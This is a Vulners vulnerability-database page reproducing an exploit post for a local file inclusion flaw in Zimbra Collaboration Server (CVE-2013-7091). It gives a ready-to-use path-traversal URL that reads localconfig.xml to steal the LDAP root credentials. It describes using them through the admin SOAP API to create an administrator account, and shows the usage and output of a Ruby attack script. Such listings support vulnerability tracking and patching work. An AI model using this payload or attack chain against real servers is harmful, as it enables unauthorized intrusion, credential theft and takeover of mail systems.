Vulners
Lucene search
Zimbra 2009-2013 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
 | Zimbra Collaboration Server LFI Vulnerability | 24 Dec 201300:00 | – | zdt |
 | CVE-2013-7091 | 6 Dec 201300:00 | – | circl |
 | Zimbra Collaboration Server Local File Inclusion (CVE-2013-7091) | 12 Jan 201400:00 | – | checkpoint_advisories |
 | CVE-2013-7091 | 13 Dec 201318:00 | – | cve |
 | CVE-2013-7091 | 13 Dec 201318:00 | – | cvelist |
 | Zimbra iCollaboration Server LFI | 27 Aug 201600:00 | – | dsquare |
 | Zimbra Collaboration Server 7.2.2/8.0.2 - Local File Inclusion (Metasploit) | 24 Dec 201300:00 | – | exploitdb |
 | Zimbra Collaboration Server LFI | 17 Dec 201318:32 | – | metasploit |
 | http-vuln-cve2013-7091 NSE Script | 4 May 201415:11 | – | nmap |
 | Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion | 25 Jul 202602:59 | – | nuclei |
10
# Exploit Title: Zimbra 0day exploit / Privilegie escalation via LFI
# Date: 06 Dec 2013
# Exploit Author: rubina119
# Contact Email : rubina119[at]gmail.com
# Vendor Homepage: http://www.zimbra.com/
# Version: 2009, 2010, 2011, 2012 and early 2013 versions are afected,
# Tested on: Centos(x), Ubuntu.
# CVE : No CVE, no patch just 0Day
# State : Critical
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30085.zip (zimbraexploit_rubina119.zip)
---------------Description-----------------
This script exploits a Local File Inclusion in
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
which allows us to see localconfig.xml
that contains LDAP root credentials wich allow us to make requests in
/service/admin/soap API with the stolen LDAP credentials to create user
with administration privlegies
and gain acces to the Administration Console.
LFI is located at :
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
Example :
https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
or
https://mail.example.com:7071/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
----------------Exploit-----------------
Before use this exploit, target server must have admin console port open
"7071" otherwise it won't work.
use the exploit like this :
ruby run.rb -t mail.example.com -u someuser -p Test123_23
[*] Looking if host is vuln....
[+] Host is vuln exploiting...
[+] Obtaining Domain Name
[+] Creating Account
[+] Elevating Privileges
[+] Login Credentials
[*] Login URL : https://mail.example.com:7071/zimbraAdmin/
[*] Account : [email protected]
[*] Password : Test123_23
[+] Successfully Exploited !
The number of servers vuln are huge like 80/100.
This is only for educational purpouses.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Jul 2017 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 25
EPSS0.86196